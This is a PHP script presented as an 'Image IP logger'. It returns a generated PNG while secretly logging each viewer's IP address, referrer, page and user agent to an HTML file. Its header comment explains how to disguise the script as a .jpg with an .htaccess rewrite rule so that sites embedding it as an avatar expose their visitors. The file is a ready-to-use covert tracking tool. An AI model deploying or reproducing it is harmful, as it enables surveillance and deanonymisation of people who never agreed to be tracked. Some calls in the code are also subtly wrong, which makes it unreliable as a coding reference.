Image IP logger - PHP

<?php

/* outputs image and traces IP address (outputted image can be embedded as an
easier method of tracing IP addresses).

If site used to embed only accepts specific file extensions (i.e. only allowing
a .jpg image as an avatar, then you can potentially bypass this by mod_rewriting
your .htaccess file on your web server and adding the following line (make sure
rewrite engine is on):

RewriteRule ^file.jpg$ iptracer.php

then upload a jpg file which you want to redirect to the php tracer, if the site
uses a GET request to grab and display an image with a .jpg extension it will
do the request seeing as the extension is .jpg, and will be redirected to the .php
script, displaying the image outputted by the script while running the code to trace
the IP address and other info alongside it.                               */

$log = 'log.html';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];
$refer = $_SERVER['HTTP_REFERER'];
$date = date("l j F Y  g:ia", time() - date("Z")) ;
$ua = $_SERVER['HTTP_USER_AGENT'];
$open = fopen("log.html", "a");
$image = imagecreate( 200, 80 );
$bg = imagecolorallocate( $image, 255, 0, 255 );
$tc = imagecolorallocate( $image, 200, 200, 0 );
$lc = imagecolorallocate( $image, 128, 255, 0 );

fputs($open, "$date <br>IP Address: $ip<br>Page: $page<br>Referral URL: $refer<br>User agent: $ua <br><br>
");
flock($open, 3);
fclose($open);
imagestring( $image, 4, 30, 25, "Outputted image - lys3rg1a",
  $tc );
imagesetthickness ( $image, 5 );
imageline( $image, 30, 45, 165, 45, $lc );
header( "Content-type: image/png" );
imagepng( $image );
imagecolordeallocate( $lc );
imagecolordeallocate( $tc );
imagecolordeallocate( $bg );
imagedestroy( $image );

/* Written by lys3rg1a
contact email: [email protected] */

?>